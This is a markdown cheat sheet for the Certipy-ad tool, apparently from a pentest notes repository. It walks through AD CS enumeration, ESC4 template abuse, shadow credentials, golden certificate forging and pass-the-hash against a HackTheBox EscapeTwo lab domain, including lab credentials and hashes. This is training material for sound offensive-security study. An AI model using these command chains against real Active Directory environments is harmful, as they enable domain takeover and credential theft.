daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

certipy-ad.md (22753B)


      1 ---
      2 title: "Certipy-ad"
      3 description: "pip install certipy-ad --break-system-packages"
      4 category: active-directory
      5 subcategory: "Tooling & Recon"
      6 tags: ["active-directory", "kerberos", "adcs", "hashing"]
      7 tools: ["Certipy", "BloodHound", "Evil-WinRM", "OpenSSL"]
      8 difficulty: intermediate
      9 updated: "2026-08-10"
     10 source: "vault:ActiveDirectory/Certipy-ad.md"
     11 ---
     12 # ๐Ÿ” Certipy-AD Cheat Sheet
     13 
     14 > **A comprehensive guide for Active Directory Certificate Services enumeration and exploitation using Certipy-ad**
     15 
     16 > **Note โ€” `certipy-ad` and `certipy` are the same tool.** `certipy-ad` is only the PyPI package name (the `certipy` name was already taken); the syntax, flags and subcommands are identical. The binary on your `$PATH` may be `certipy` or `certipy-ad` depending on the install (Kali apt โ†’ `certipy-ad`; `pip install certipy-ad` โ†’ usually `certipy`). Drop the `-ad` in any command below if that is what your box exposes; run `which certipy certipy-ad` to check.
     17 
     18 ***
     19 
     20 ## ๐Ÿ“‹ Table of Contents
     21 
     22 - [Overview](#-overview)
     23 - [Installation](#-installation)
     24 - [Common Usage Patterns](#-common-usage-patterns)
     25 - [Command Reference](#-command-reference)
     26 - [ESC4 Exploitation Workflow](#-esc4-exploitation-workflow)
     27 - [HTB EscapeTwo Context](#-htb-escapetwo-context)
     28 - [Post-Exploitation](#-post-exploitation)
     29 - [Tips & Best Practices](#-tips--best-practices)
     30 
     31 ***
     32 
     33 ## ๐ŸŽฏ Overview
     34 
     35 **Certipy-ad** is an offensive security tool designed to enumerate and exploit Active Directory Certificate Services (AD CS) misconfigurations. It supports detection and exploitation of ESC1-ESC16 vulnerabilities, making it essential for penetration testing AD environments.
     36 
     37 ### ๐Ÿ”‘ Key Capabilities
     38 
     39 - ๐Ÿ” **Enumeration**: Identify vulnerable certificate templates and CAs
     40 - ๐ŸŽซ **Certificate Requests**: Request certificates with custom attributes
     41 - ๐Ÿ”“ **Authentication**: Use certificates for Kerberos authentication and NT hash retrieval
     42 - ๐Ÿ› ๏ธ **Template Manipulation**: Modify certificate templates to create exploitation paths
     43 - ๐Ÿ‘ค **Shadow Credentials**: Add Key Credential Links for account takeover
     44 - ๐Ÿ† **Golden Certificates**: Forge certificates using compromised CA keys
     45 
     46 ***
     47 
     48 ## ๐Ÿ“ฆ Installation
     49 
     50 ```bash
     51 # Install via pip
     52 pip install certipy-ad --break-system-packages
     53 
     54 # Install via apt (Kali Linux)
     55 sudo apt install certipy-ad
     56 
     57 # Verify installation
     58 certipy-ad -h
     59 ```
     60 
     61 ***
     62 
     63 ## ๐Ÿ’ก Common Usage Patterns
     64 
     65 ### ๐Ÿ” Enumeration Workflow
     66 
     67 ```bash
     68 # Basic enumeration
     69 certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51
     70 
     71 # Enumerate vulnerable templates only
     72 certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -vulnerable -enabled
     73 
     74 # Output to specific format
     75 certipy-ad find -u 'user@domain.local' -p 'password' -dc-ip 10.10.11.51 -json -output results
     76 
     77 # Using NTLM hash authentication
     78 certipy-ad find -u 'user@domain.local' -hashes ':NTHASH' -dc-ip 10.10.11.51
     79 ```
     80 
     81 ### ๐ŸŽซ Certificate Request Workflow
     82 
     83 ```bash
     84 # Request certificate with UPN
     85 certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -template 'TemplateName' -upn 'administrator@domain.local' -dc-ip 10.10.11.51
     86 
     87 # Request using hash authentication
     88 certipy-ad req -u 'user@domain.local' -hashes ':NTHASH' -ca 'CA-Name' -template 'TemplateName' -upn 'target@domain.local' -dc-ip 10.10.11.51
     89 
     90 # Retrieve previously requested certificate
     91 certipy-ad req -u 'user@domain.local' -p 'password' -ca 'CA-Name' -retrieve 123 -dc-ip 10.10.11.51
     92 ```
     93 
     94 ### ๐Ÿ”“ Authentication Workflow
     95 
     96 ```bash
     97 # Authenticate using certificate
     98 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
     99 
    100 # With PFX password
    101 certipy-ad auth -pfx administrator.pfx -password 'pfxpassword' -dc-ip 10.10.11.51
    102 
    103 # Save in kirbi format
    104 certipy-ad auth -pfx administrator.pfx -kirbi -dc-ip 10.10.11.51
    105 
    106 # LDAP shell access
    107 certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip 10.10.11.51
    108 ```
    109 
    110 ***
    111 
    112 ## ๐Ÿ“– Command Reference
    113 
    114 ### ๐Ÿ”ง Global Flags
    115 
    116 | Flag | Description | Example |
    117 |------|-------------|---------|
    118 | `-u`, `-username` | Username for authentication | `-u user@domain.local` |
    119 | `-p`, `-password` | Password for authentication | `-p 'Password123'` |
    120 | `-hashes` | NTLM hash (pass-the-hash) | `-hashes ':NTHASH'` or `-hashes 'LMHASH:NTHASH'` |
    121 | `-k` | Use Kerberos authentication from ccache | `-k` |
    122 | `-aes` | AES key for Kerberos auth | `-aes <hex_key>` |
    123 | `-dc-ip` | Domain controller IP address | `-dc-ip 10.10.11.51` |
    124 | `-dc-host` | ๐Ÿ†• **DC hostname โ€” REQUIRED in Certipy v5+** | `-dc-host dc01.domain.local` |
    125 | `-target` | Target machine DNS/IP | `-target ca.domain.local` |
    126 | `-ns` | ๐Ÿ†• Nameserver for DNS resolution (pin to DC IP to avoid rerouting) | `-ns 10.10.11.51` |
    127 | `-timeout` | Connection timeout in seconds | `-timeout 30` |
    128 | `-debug` | Enable debug output | `-debug` |
    129 
    130 > ๐Ÿ†• **โš ๏ธ Certipy v5 Note โ€” Always pass `-dc-host`:** In Certipy v5+, omitting `-dc-host` causes the tool to use the domain name as the DC host and attempt a secondary DNS resolution. If that resolves to an internal AD IP that isn't routable from your VPN (`Target IP: None` in debug output), you'll get `[Errno 113] No route to host` even when your `-dc-ip` is correct and `/etc/hosts` is properly configured. **Always pair `-dc-ip` with `-dc-host`.**
    131 
    132 ***
    133 
    134 ### 1๏ธโƒฃ `find` - Enumerate AD CS
    135 
    136 **Purpose**: Discover certificate templates, CAs, and misconfigurations
    137 
    138 ```bash
    139 certipy-ad find [options]
    140 ```
    141 
    142 #### ๐Ÿ“Š Key Flags
    143 
    144 | Flag | Description |
    145 |------|-------------|
    146 | `-vulnerable` | Show only vulnerable templates |
    147 | `-enabled` | Show only enabled templates |
    148 | `-text` | Output as formatted text file |
    149 | `-json` | Output as JSON |
    150 | `-csv` | Output as CSV |
    151 | `-stdout` | Output directly to console |
    152 | `-output <prefix>` | File prefix for output |
    153 | `-oids` | Show Issuance Policies |
    154 | `-hide-admins` | Suppress admin permissions |
    155 | `-dc-only` | Only collect from DC (skip CA queries) |
    156 
    157 #### ๐Ÿ’ป Example Commands
    158 
    159 ```bash
    160 # Find vulnerable templates
    161 certipy-ad find -u ryan@sequel.htb -p 'WqSZAF6CysDQbGb3' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -vulnerable -enabled -stdout
    162 
    163 # Full enumeration with all outputs
    164 certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -json -text -output dc01_enum
    165 ```
    166 
    167 ***
    168 
    169 ### 2๏ธโƒฃ `req` - Request Certificates
    170 
    171 **Purpose**: Request and retrieve certificates from AD CS
    172 
    173 ```bash
    174 certipy-ad req [options]
    175 ```
    176 
    177 #### ๐Ÿ“Š Key Flags
    178 
    179 | Flag | Description |
    180 |------|-------------|
    181 | `-ca <name>` | Certificate Authority name |
    182 | `-template <name>` | Certificate template name |
    183 | `-upn <upn>` | User Principal Name for SAN |
    184 | `-dns <dns>` | DNS name for SAN |
    185 | `-sid <sid>` | Object SID for SAN |
    186 | `-subject <dn>` | Certificate subject DN |
    187 | `-retrieve <id>` | Retrieve certificate by request ID |
    188 | `-on-behalf-of <user>` | Request on behalf of another user |
    189 | `-pfx <file>` | PFX for on-behalf-of or renewal |
    190 | `-renew` | Create renewal request |
    191 | `-out <file>` | Output PFX filename |
    192 | `-web` | Use Web Enrollment |
    193 | `-dcom` | Use DCOM Enrollment |
    194 
    195 #### ๐Ÿ’ป Example Commands
    196 
    197 ```bash
    198 # Request certificate with custom UPN (ESC1)
    199 certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
    200   -ca sequel-DC01-CA -template DunderMifflinAuthentication \
    201   -upn administrator@sequel.htb \
    202   -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb   # ๐Ÿ†• dc-host required in v5
    203 
    204 # Retrieve certificate by request ID
    205 certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -retrieve 42 \
    206   -dc-ip 10.10.11.51 -dc-host dc01.domain.local
    207 
    208 # Request on behalf of another user (ESC2/ESC3)
    209 certipy-ad req -u user@domain.local -p 'password' -ca CA-Name -template User \
    210   -on-behalf-of 'domain\administrator' -pfx user.pfx \
    211   -dc-ip 10.10.11.51 -dc-host dc01.domain.local
    212 ```
    213 
    214 ***
    215 
    216 ### 3๏ธโƒฃ `auth` - Authenticate with Certificate
    217 
    218 **Purpose**: Use certificates for authentication and NT hash retrieval
    219 
    220 ```bash
    221 certipy-ad auth -pfx <cert.pfx> [options]
    222 ```
    223 
    224 #### ๐Ÿ“Š Key Flags
    225 
    226 | Flag | Description |
    227 |------|-------------|
    228 | `-pfx <file>` | Path to certificate (PFX/P12) |
    229 | `-password <pass>` | PFX file password |
    230 | `-no-save` | Don't save TGT to file |
    231 | `-no-hash` | Don't request NT hash |
    232 | `-print` | Print TGT in kirbi format |
    233 | `-kirbi` | Save as .kirbi instead of ccache |
    234 | `-username <user>` | Override certificate username |
    235 | `-domain <domain>` | Override certificate domain |
    236 | `-ldap-shell` | Start LDAP shell after auth |
    237 
    238 #### ๐Ÿ’ป Example Commands
    239 
    240 ```bash
    241 # Authenticate and retrieve NT hash
    242 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
    243 
    244 # With password-protected PFX
    245 certipy-ad auth -pfx admin.pfx -password 'pfxpass' -dc-ip 10.10.11.51
    246 
    247 # Start LDAP shell
    248 certipy-ad auth -pfx admin.pfx -ldap-shell -dc-ip 10.10.11.51
    249 ```
    250 
    251 ***
    252 
    253 ### 4๏ธโƒฃ `template` - Manage Templates
    254 
    255 **Purpose**: View and modify certificate template configurations
    256 
    257 ```bash
    258 certipy-ad template -template <name> [options]
    259 ```
    260 
    261 #### ๐Ÿ“Š Key Flags
    262 
    263 | Flag | Description |
    264 |------|-------------|
    265 | `-template <name>` | Certificate template name |
    266 | `-save-configuration <file>` | Save current config to JSON |
    267 | `-write-configuration <file>` | Apply config from JSON file |
    268 | `-write-default-configuration` | Apply default ESC1 config |
    269 | `-no-save` | Skip backup before changes |
    270 | `-force` | Don't prompt for confirmation |
    271 
    272 #### ๐Ÿ’ป Example Commands
    273 
    274 ```bash
    275 # Save template configuration
    276 certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template \
    277   -save-configuration backup.json \
    278   -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb   # ๐Ÿ†•
    279 
    280 # Apply ESC1 configuration (make vulnerable)
    281 certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template DunderMifflinAuthentication \
    282   -write-default-configuration \
    283   -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb   # ๐Ÿ†•
    284 
    285 # Restore from backup
    286 certipy-ad template -u ca_svc@sequel.htb -hashes ':HASH' -template ESC4Template \
    287   -write-configuration backup.json -no-save \
    288   -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb   # ๐Ÿ†•
    289 ```
    290 
    291 ***
    292 
    293 ### 5๏ธโƒฃ `shadow` - Shadow Credentials
    294 
    295 **Purpose**: Manipulate Key Credential Links for account takeover
    296 
    297 ```bash
    298 certipy-ad shadow <action> [options]
    299 ```
    300 
    301 #### ๐Ÿ“Š Actions & Flags
    302 
    303 | Action | Description |
    304 |--------|-------------|
    305 | `auto` | Automatically exploit (add, auth, restore) |
    306 | `list` | List all Key Credentials |
    307 | `add` | Add new Key Credential |
    308 | `remove` | Remove specific Key Credential |
    309 | `clear` | Remove all Key Credentials |
    310 | `info` | Display detailed information |
    311 
    312 | Flag | Description |
    313 |------|-------------|
    314 | `-account <target>` | Target account |
    315 | `-device-id <guid>` | Specific device ID |
    316 | `-out <file>` | Output certificate file |
    317 
    318 #### ๐Ÿ’ป Example Commands
    319 
    320 ```bash
    321 # ๐Ÿ†• Automatic shadow credential attack โ€” FULL recommended syntax for v5
    322 certipy-ad shadow auto \
    323   -u user@domain.local \
    324   -p 'password' \
    325   -account 'target_user' \
    326   -dc-ip 10.10.11.51 \
    327   -dc-host dc01.domain.local \   # โ† REQUIRED in v5, prevents EHOSTUNREACH (113)
    328   -ns 10.10.11.51                # โ† Pin DNS to DC to avoid internal IP rerouting
    329 
    330 # List Key Credentials
    331 certipy-ad shadow list -u user@domain.local -p 'password' -account 'target_user' \
    332   -dc-ip 10.10.11.51 -dc-host dc01.domain.local
    333 
    334 # Add Key Credential
    335 certipy-ad shadow add -u user@domain.local -p 'password' -account 'target_user' \
    336   -dc-ip 10.10.11.51 -dc-host dc01.domain.local
    337 ```
    338 
    339 > ๐Ÿ†• **HTB Fluffy Lesson**: `shadow auto` without `-dc-host` on Certipy v5 will print `Target IP: None` in debug mode and fail with `[Errno 113] No route to host` even with a correct `-dc-ip` and valid `/etc/hosts`. The fix is always to pass `-dc-host dc01.<domain>` explicitly.
    340 
    341 ***
    342 
    343 ### 6๏ธโƒฃ `account` - Manage Accounts
    344 
    345 **Purpose**: Create, read, update, delete AD accounts
    346 
    347 ```bash
    348 certipy-ad account <action> -user <name> [options]
    349 ```
    350 
    351 #### ๐Ÿ“Š Actions & Flags
    352 
    353 | Action | Description |
    354 |--------|-------------|
    355 | `create` | Create new account |
    356 | `read` | Read account properties |
    357 | `update` | Modify existing account |
    358 | `delete` | Delete account |
    359 
    360 | Flag | Description |
    361 |------|-------------|
    362 | `-user <name>` | SAM account name |
    363 | `-pass <password>` | Set password |
    364 | `-dns <hostname>` | Set DNS hostname |
    365 | `-upn <upn>` | Set UPN |
    366 | `-spns <spn1,spn2>` | Set SPNs |
    367 
    368 #### ๐Ÿ’ป Example Commands
    369 
    370 ```bash
    371 # Create machine account
    372 certipy-ad account create -u user@domain.local -p 'password' -user BADPC$ -pass 'MachinePass123' \
    373   -dc-ip 10.10.11.51 -dc-host dc01.domain.local
    374 
    375 # Update account password
    376 certipy-ad account update -u admin@domain.local -p 'password' -user targetuser -pass 'NewPass123' \
    377   -dc-ip 10.10.11.51 -dc-host dc01.domain.local
    378 ```
    379 
    380 ***
    381 
    382 ### 7๏ธโƒฃ `ca` - Manage Certificate Authority
    383 
    384 **Purpose**: Manage CA settings and certificate requests
    385 
    386 ```bash
    387 certipy-ad ca -ca <name> [options]
    388 ```
    389 
    390 #### ๐Ÿ“Š Key Flags
    391 
    392 | Flag | Description |
    393 |------|-------------|
    394 | `-ca <name>` | CA name |
    395 | `-list-templates` | List enabled templates |
    396 | `-enable-template <name>` | Enable template on CA |
    397 | `-disable-template <name>` | Disable template on CA |
    398 | `-issue-request <id>` | Approve pending request |
    399 | `-deny-request <id>` | Deny pending request |
    400 | `-add-officer <user>` | Add certificate officer |
    401 
    402 #### ๐Ÿ’ป Example Commands
    403 
    404 ```bash
    405 # List enabled templates
    406 certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -list-templates \
    407   -dc-ip 10.10.11.51 -dc-host dc01.domain.local
    408 
    409 # Approve pending request
    410 certipy-ad ca -u user@domain.local -p 'password' -ca CA-Name -issue-request 42 \
    411   -dc-ip 10.10.11.51 -dc-host dc01.domain.local
    412 ```
    413 
    414 ***
    415 
    416 ### 8๏ธโƒฃ `forge` - Forge Certificates
    417 
    418 **Purpose**: Create golden certificates or self-signed certs
    419 
    420 ```bash
    421 certipy-ad forge [options]
    422 ```
    423 
    424 #### ๐Ÿ“Š Key Flags
    425 
    426 | Flag | Description |
    427 |------|-------------|
    428 | `-ca-pfx <file>` | CA certificate/key (for golden cert) |
    429 | `-ca-password <pass>` | CA PFX password |
    430 | `-upn <upn>` | UPN for certificate |
    431 | `-subject <dn>` | Certificate subject |
    432 | `-template <file>` | Clone from template cert |
    433 | `-out <file>` | Output PFX file |
    434 | `-validity-period <days>` | Validity in days |
    435 
    436 #### ๐Ÿ’ป Example Commands
    437 
    438 ```bash
    439 # Forge golden certificate
    440 certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local \
    441   -subject 'CN=Administrator,CN=Users,DC=domain,DC=local' -out admin_golden.pfx
    442 ```
    443 
    444 ***
    445 
    446 ### 9๏ธโƒฃ `relay` - NTLM Relay
    447 
    448 **Purpose**: Relay NTLM authentication to AD CS endpoints
    449 
    450 ```bash
    451 certipy-ad relay -target <proto://host> [options]
    452 ```
    453 
    454 #### ๐Ÿ“Š Key Flags
    455 
    456 | Flag | Description |
    457 |------|-------------|
    458 | `-target <proto://host>` | Target (http:// or rpc://) |
    459 | `-ca <name>` | CA name (for RPC) |
    460 | `-template <name>` | Certificate template |
    461 | `-interface <ip>` | Listen interface |
    462 | `-port <port>` | Listen port (default: 445) |
    463 | `-forever` | Keep relay server alive |
    464 | `-enum-templates` | Enumerate templates via relay |
    465 
    466 ***
    467 
    468 ## ๐ŸŽฏ ESC4 Exploitation Workflow
    469 
    470 **ESC4** occurs when an attacker has **write permissions** over a certificate template, allowing them to modify it to become vulnerable (typically ESC1).
    471 
    472 ### ๐Ÿ“‹ Prerequisites
    473 
    474 - โœ… Compromised account with write access to a certificate template
    475 - โœ… Membership in groups with template modification rights (e.g., Cert Publishers)
    476 - โœ… Access to Active Directory Certificate Services
    477 
    478 ### ๐Ÿ”„ Step-by-Step Exploitation
    479 
    480 #### **Step 1: Enumerate and Identify ESC4**
    481 
    482 ```bash
    483 certipy-ad find -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
    484   -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -vulnerable -stdout   # ๐Ÿ†• dc-host added
    485 
    486 # Look for output like:
    487 # [!] Vulnerabilities
    488 #     ESC4 : 'SEQUEL.HTB\Cert Publishers' has dangerous permissions
    489 ```
    490 
    491 #### **Step 2: Modify Template (Certipy 5.x)**
    492 
    493 ```bash
    494 certipy-ad template -u ca_svc@sequel.htb \
    495   -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
    496   -template DunderMifflinAuthentication \
    497   -write-default-configuration \
    498   -dc-ip 10.10.11.51 \
    499   -dc-host dc01.sequel.htb   # ๐Ÿ†•
    500 ```
    501 
    502 #### **Step 3: Request Certificate with UPN**
    503 
    504 ```bash
    505 certipy-ad req -u ca_svc@sequel.htb \
    506   -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
    507   -ca sequel-DC01-CA \
    508   -template DunderMifflinAuthentication \
    509   -upn administrator@sequel.htb \
    510   -dc-ip 10.10.11.51 \
    511   -dc-host dc01.sequel.htb   # ๐Ÿ†•
    512 
    513 # Output: administrator.pfx
    514 ```
    515 
    516 #### **Step 4: Authenticate and Extract Hash**
    517 
    518 ```bash
    519 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
    520 # Output: aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff
    521 ```
    522 
    523 #### **Step 5: Use Hash for Access**
    524 
    525 ```bash
    526 # WinRM access
    527 evil-winrm -i 10.10.11.51 -u administrator -H 7a8d4e04986afa8ed4060f75e5a0b3ff
    528 
    529 # SMB access
    530 smbclient -U administrator%aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff //10.10.11.51/C$
    531 
    532 # psexec
    533 psexec.py -hashes :7a8d4e04986afa8ed4060f75e5a0b3ff administrator@10.10.11.51
    534 ```
    535 
    536 #### **Step 6: Restore Template (Clean Up)**
    537 
    538 ```bash
    539 certipy-ad template -u ca_svc@sequel.htb \
    540   -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
    541   -template DunderMifflinAuthentication \
    542   -write-configuration DunderMifflinAuthentication.json \
    543   -no-save \
    544   -dc-ip 10.10.11.51 \
    545   -dc-host dc01.sequel.htb   # ๐Ÿ†•
    546 ```
    547 
    548 ***
    549 
    550 ### ๐Ÿ”ง Alternative Method (Certipy 4.x - Legacy)
    551 
    552 ```bash
    553 # Step 1: Modify template (auto-saves backup)
    554 certipy-ad template -u ca_svc -hashes :HASH \
    555   -dc-ip 10.10.11.51 \
    556   -template DunderMifflinAuthentication \
    557   -target dc01.sequel.htb \
    558   -save-old
    559 
    560 # Step 2: Request certificate
    561 certipy-ad req -ca sequel-DC01-CA \
    562   -u ca_svc -hashes :HASH \
    563   -dc-ip 10.10.11.51 \
    564   -template DunderMifflinAuthentication \
    565   -target dc01.sequel.htb \
    566   -upn administrator@sequel.htb
    567 
    568 # Step 3: Authenticate
    569 certipy-ad auth -pfx administrator.pfx
    570 
    571 # Step 4: Restore (backup auto-created)
    572 # Check for DunderMifflinAuthentication.json in current directory
    573 ```
    574 
    575 ***
    576 
    577 ## ๐Ÿ† HTB EscapeTwo Context
    578 
    579 ### ๐ŸŽฏ Scenario Overview
    580 
    581 In HTB EscapeTwo, the exploitation path involves:
    582 
    583 1. **Initial Access**: Credentials for `rose` โ†’ find SQL admin password โ†’ shell as `sql_svc`
    584 2. **Lateral Movement**: Find `ryan` credentials โ†’ WinRM access
    585 3. **Privilege Escalation**: `ryan` has `WriteOwner` on `ca_svc` account
    586 4. **Account Takeover**: Use BloodyAD to take ownership and grant permissions
    587 5. **Shadow Credentials**: Add shadow credential to `ca_svc`
    588 6. **ESC4 Exploitation**: `ca_svc` is in Cert Publishers group โ†’ modify template โ†’ escalate to Administrator
    589 
    590 ### ๐Ÿ”‘ Key Commands from HTB EscapeTwo
    591 
    592 ```bash
    593 # Ownership change (using BloodyAD)
    594 bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' set owner ca_svc ryan
    595 bloodyAD -d sequel.htb --host 10.10.11.51 -u ryan -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan
    596 
    597 # Shadow credential attack โ€” ๐Ÿ†• full v5 syntax
    598 certipy-ad shadow auto \
    599   -u ryan@sequel.htb \
    600   -p 'WqSZAF6CysDQbGb3' \
    601   -account 'ca_svc' \
    602   -dc-ip 10.10.11.51 \
    603   -dc-host dc01.sequel.htb \
    604   -ns 10.10.11.51
    605 
    606 # ESC4 enumeration
    607 certipy-ad find -vulnerable -u ca_svc -hashes :3b181b914e7a9d5508ea1e20bc2b7fce \
    608   -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb -stdout
    609 
    610 # Template modification
    611 certipy-ad template -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
    612   -template DunderMifflinAuthentication -write-default-configuration \
    613   -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb
    614 
    615 # Certificate request
    616 certipy-ad req -u ca_svc@sequel.htb -hashes ':3b181b914e7a9d5508ea1e20bc2b7fce' \
    617   -ca sequel-DC01-CA -template DunderMifflinAuthentication \
    618   -upn administrator@sequel.htb \
    619   -dc-ip 10.10.11.51 -dc-host dc01.sequel.htb
    620 
    621 # Authentication
    622 certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.51
    623 ```
    624 
    625 ***
    626 
    627 ## ๐Ÿ”“ Post-Exploitation
    628 
    629 ### ๐ŸŽซ Using Certificates
    630 
    631 ```bash
    632 # Pass-the-Certificate with evil-winrm
    633 evil-winrm -i DC01 -c admin.crt -k admin.key
    634 
    635 # Use ccache for Kerberos auth
    636 export KRB5CCNAME=administrator.ccache
    637 smbclient.py -k -no-pass administrator@dc01.sequel.htb
    638 
    639 # Convert PFX to PEM for other tools
    640 openssl pkcs12 -in admin.pfx -nocerts -out admin.key
    641 openssl pkcs12 -in admin.pfx -clcerts -nokeys -out admin.crt
    642 ```
    643 
    644 ### ๐Ÿ”„ Persistence
    645 
    646 ```bash
    647 # Renew certificate before expiration
    648 certipy-ad req -u admin@domain.local -p 'password' -ca CA-Name -template Template \
    649   -renew -pfx admin.pfx -dc-ip 10.10.11.51 -dc-host dc01.domain.local
    650 
    651 # Forge golden certificate (requires CA key)
    652 certipy-ad forge -ca-pfx ca.pfx -upn administrator@domain.local -out golden.pfx
    653 ```
    654 
    655 ***
    656 
    657 ## ๐Ÿ’ก Tips & Best Practices
    658 
    659 ### โš ๏ธ Operational Security
    660 
    661 - ๐Ÿ”’ **Always backup templates** before modification
    662 - ๐Ÿงน **Clean up** after testing (restore configurations)
    663 - ๐Ÿ“ **Document** request IDs for later retrieval
    664 - โฐ **Note certificate validity periods** for persistence planning
    665 
    666 ### ๐ŸŽฏ Enumeration Tips
    667 
    668 - ๐Ÿ” Start with `-vulnerable -enabled` for quick wins
    669 - ๐Ÿ“Š Use `-json` output for parsing with tools like `jq`
    670 - ๐ŸŽญ Check group memberships (Cert Publishers is key for ESC4)
    671 - ๐ŸŒ Enumerate with BloodHound for WriteOwner/GenericAll on service accounts
    672 
    673 ### ๐Ÿš€ Common Attack Chains
    674 
    675 ```
    676 WriteOwner/GenericAll โ†’ Shadow Credentials โ†’ Hash โ†’ Certificate Request
    677 WriteDACL โ†’ Template Modification (ESC4) โ†’ Certificate โ†’ Domain Admin
    678 ManageCA + ManageCertificates โ†’ ESC7 โ†’ Certificate โ†’ Compromise
    679 ```
    680 
    681 ### ๐Ÿ”ง Troubleshooting
    682 
    683 | Error | Cause | Solution |
    684 |-------|-------|----------|
    685 | `[Errno 113] No route to host` | ๐Ÿ†• Certipy v5 resolves DC to internal AD IP (`Target IP: None`) instead of using `-dc-ip` | Add `-dc-host dc01.domain.local -ns <dc-ip>` to every command |
    686 | `CERTSRV_E_TEMPLATE_DENIED` | User not authorized for template | Check enrollment rights |
    687 | `Object SID mismatch` | Strong Certificate Mapping enabled | Use `-sid` flag |
    688 | `INSUFF_ACCESS_RIGHTS` | Need GenericAll/WriteOwner | Check permissions |
    689 | Connection timeout | Firewall or stale machine IP (HTB reset) | Re-verify `$TARGET`, check VPN with `ping` |
    690 | `entryAlreadyExists` (BloodyAD) | ๐Ÿ†• Object already in group โ€” not an error | Step already complete, move on |
    691 
    692 ***
    693 
    694 ## ๐Ÿ“š References
    695 
    696 - ๐Ÿ”— [Certipy GitHub Wiki](https://github.com/ly4k/Certipy/wiki)
    697 - ๐Ÿ“„ [Certified Pre-Owned Whitepaper](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
    698 - ๐ŸŽ“ [HackTheBox EscapeTwo Writeup](https://0xdf.gitlab.io/2025/05/24/htb-escapetwo.html)
    699 - ๐ŸŽ“ [HackTheBox Fluffy Writeup](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html) ๐Ÿ†•
    700 - ๐Ÿ›ก๏ธ [ADCS Attack Paths - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/adcs)
    701 
    702 ***
    703 
    704 **Created for HTB: EscapeTwo** | **Last Updated: April 2026** | **Certipy Version: 5.0.4+** ๐Ÿ†•
    705 
    706 Sources